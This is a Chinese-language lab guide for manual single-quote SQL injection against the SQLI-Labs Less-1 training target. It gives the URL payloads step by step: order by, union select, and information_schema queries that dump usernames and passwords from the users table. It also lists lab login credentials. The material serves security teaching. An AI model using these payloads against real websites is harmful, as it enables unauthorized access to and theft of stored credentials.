基于SQLI的SQL字符型报错注入
一. 实验目的
理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。
二. 实验环境
渗透主机:KALI平台
用户名: college
密码: 360College
目标网站:SQLI平台的Less-1科目
用户名: xxx
密码: xxx
注意:将MySQL的版本调到5.5以上,因为这样数据库内才会有information_schema数据库。(实验镜像中已经调整)
三. 实验原理
MySQL语言的注释语法:
--(这里有一个空格,--空格)
在SQL内表示注释,但在URL中,如果在最后加上--
,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+
代替--
,原因是+
在URL被URL编码后会变成空格。
四. 实验内容
1. 靶机/var/www/html中找到源码分析Less-1网页源码
得出结论:如果你输入不同的id值就会返回不同的结果,实际查询的语句是:
SELECT * FROM users WHERE id="1 LIMIT 0,1;
2. kali访问网址http://靶机IP/Less-1/进行注入
(1)在浏览器地址栏中输入http://【靶机IP】/Less-1/,访问SQLI-Labs的less-1
。
(2)在上面的URL末端加上?id=1
的动态参数,页面显示登录用户名Dumb、密码Dumb:
尝试判断是否存在SQL注入以及哪种注入类型
(1)经过语句and 1=2
测试 ,页面回显正常,所以该地方不是数值查询。
(2)尝试在id后面加上’
(单引号),发现页面回显不正常,表示可能存在SQL字符注入。
(3)输入- -+
将sql后面的语句注释掉后,页面回显正常,则证明是单引号字符型注入。
手工SQL注入获得数据库的用户名与密码
说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。
(1)使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,说明此表一共有3列。
所用的payload格式为:http://【靶机IP】/Less-1/?id=1' order by N --+
(2)使用union select 1,2,3联合查询语句查看页面是否有显示位。发现页面先输出了2和3,说明页面有2个显示位。
所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,2,3 --+
(3)利用sql查询语句爆破出数据库内的数据库名。
所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
(4)利用sql查询语句爆破出security数据库内的表名。
所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
(5)利用sql查询语句爆破出users数据表内的列名。
所用的payload格式为:http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
(6)利用sql查询语句爆破出username、password列的值。
所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+
五. 思考与总结
通过本次实验,成功实现了利用SQL注入漏洞的管理员帐户密码的获取,掌握了SQL注入漏洞的手工攻击方法,在此基础上可以深刻体会SQL注入漏洞的危害以及采取相关网络安全防护防御措施。